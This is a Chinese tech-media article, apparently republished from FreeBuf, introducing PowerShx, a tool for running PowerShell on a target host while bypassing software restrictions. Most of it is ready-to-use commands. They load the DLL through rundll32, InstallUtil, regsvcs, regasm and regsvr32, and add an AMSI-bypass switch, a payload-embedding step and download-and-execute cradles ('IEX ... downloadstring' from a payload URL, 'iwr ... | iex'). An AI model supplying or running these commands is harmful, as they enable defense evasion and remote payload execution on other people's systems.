前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用PowerShx摆脱软件限制运行PowerShell

如何使用PowerShx摆脱软件限制运行PowerShell

作者头像
FB客服
发布2021-11-23 15:52:20
1.5K0
发布2021-11-23 15:52:20
举报
文章被收录于专栏:FreeBufFreeBuf

关于PowerShx

PowerShx是一款功能强大的PowerShell软件,在该工具的帮助下,广大研究人员可以在目标主机上摆脱任何软件的限制从而执行PowerShell代码。

PowerShx是PowerShdll项目的一个扩展项目,并且提供了AMSI绕过和运行PS Cmdlet的功能。

功能介绍

使用exe、installuitl.exe、regsvcs.exe、regasm.exe、regsvr*32.exe来运行PowerShel;

在不需要exe或powershell_ise.exe的情况下运行PowerShell;AMSI绕过功能;

直接通过命令行工具或PowerShell文件运行PowerShell脚本;

导入PowerShell模块和执行PowerShell Cmdlet;

工具依赖

· .Net 4

工具使用

.dll版本

代码语言:javascript
复制
rundll32
rundll32 PowerShx.dll,main -e                           需要运行的PS脚本
rundll32 PowerShx.dll,main -f <path>                    以参数形式传递和运行脚本
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>    加载一个脚本并运行一个PS cmdlet
rundll32 PowerShx.dll,main -w                    在一个新的窗口中开启一个交互式终端
rundll32 PowerShx.dll,main -i                            开启一个交互式终端
rundll32 PowerShx.dll,main -s                           尝试绕过AMSI
rundll32 PowerShx.dll,main -v                        在终端中输出执行结果
代码语言:javascript
复制
替代选项
代码语言:javascript
复制
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
    regsvr*32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
    regsvr*32 /s PowerShx.dll --> Calls DllRegisterServer
代码语言:javascript
复制
.exe版本
代码语言:javascript
复制
PowerShx.exe -i                          开启一个交互式终端
PowerShx.exe -e                         需要运行的PS脚本
PowerShx.exe -f <path>                  以参数形式传递和运行脚本
PowerShx.exe -f <path> -c <PS Cmdlet>     加载一个脚本并运行一个PS cmdlet
PowerShx.exe -s                         尝试绕过AMSI

嵌入Payload

广大研究人员可以通过更新“Common”项目中的“Common.Payloads.PayloadDict”数据目录来嵌入Payload,并在PsSession.cs -> Handle()方法中调用Payload。下面的例子中演示了如何在Handle()方法中调用Payload:

代码语言:javascript
复制
private void Handle(Options options)
{
  // Pre-execution before user script
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

工具使用样例

1、运行Base64编码的脚本

代码语言:javascript
复制
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:我们需要使用[System.Text.Encoding]::Unicode对Empire Stager进行解码。

2、运行Base64编码的脚本

代码语言:javascript
复制
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
项目地址

https://github.com/iomoath/PowerShx

参考资料

https://github.com/p3nt4/PowerShdll

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于PowerShx
  • 功能介绍
  • 工具使用
    • .dll版本
    • 工具使用样例
      • 1、运行Base64编码的脚本
        • 2、运行Base64编码的脚本
        • 参考资料
        • https://github.com/p3nt4/PowerShdll
        相关产品与服务
        命令行工具
        腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档